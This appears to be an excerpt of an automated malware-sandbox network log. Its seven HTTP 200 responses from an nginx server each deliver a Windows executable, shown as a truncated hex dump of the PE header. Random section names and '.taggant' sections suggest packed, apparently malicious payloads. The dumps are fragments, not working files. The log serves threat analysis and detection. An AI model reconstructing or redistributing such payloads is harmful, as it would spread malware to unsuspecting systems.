Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:34:29 GMTContent-Type: application/octet-streamContent-Length: 2899456Last-Modified: Wed, 30 Oct 2024 03:12:16 GMTConnection: keep-aliveETag: "6721a410-2c3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6c 6a 72 69 61 70 70 00 e0 2b 00 00 a0 00 00 00 de 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 64 74 61 76 67 74 00 20 00 00 00 80 2c 00 00 04 00 00 00 18 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 1c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:34:36 GMTContent-Type: application/octet-streamContent-Length: 1873408Last-Modified: Wed, 30 Oct 2024 03:11:30 GMTConnection: keep-aliveETag: "6721a3e2-1c9600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 61 9b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 4a 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 49 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 74 76 62 74 75 62 00 80 19 00 00 d0 30 00 00 7c 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 61 6b 65 6c 75 70 67 00 10 00 00 00 50 4a 00 00 04 00 00 00 70 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:35:20 GMTContent-Type: application/octet-streamContent-Length: 3014144Last-Modified: Wed, 30 Oct 2024 03:11:10 GMTConnection: keep-aliveETag: "6721a3ce-2dfe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 10 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 31 00 00 04 00 00 7c 16 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6f 71 73 71 73 76 74 00 50 2b 00 00 b0 05 00 00 44 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 76 76 6b 6c 7a 75 71 00 10 00 00 00 00 31 00 00 04 00 00 00 d8 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 31 00 00 22 00 00 00 dc 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:35:31 GMTContent-Type: application/octet-streamContent-Length: 2153984Last-Modified: Wed, 30 Oct 2024 03:11:24 GMTConnection: keep-aliveETag: "6721a3dc-20de00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 73 00 00 04 00 00 31 b9 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6a 66 77 66 7a 79 6d 00 30 1a 00 00 60 59 00 00 2e 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6d 7a 79 72 79 73 61 00 10 00 00 00 90 73 00 00 04 00 00 00 b8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 73 00 00 22 00 00 00 bc 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:35:41 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 30 Oct 2024 03:11:49 GMTConnection: keep-aliveETag: "6721a3f5-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed a3 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 c3 0d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:35:46 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:36:03 GMTContent-Type: application/octet-streamContent-Length: 2899456Last-Modified: Wed, 30 Oct 2024 03:12:16 GMTConnection: keep-aliveETag: "6721a410-2c3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6c 6a 72 69 61 70 70 00 e0 2b 00 00 a0 00 00 00 de 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 64 74 61 76 67 74 00 20 00 00 00 80 2c 00 00 04 00 00 00 18 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 1c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
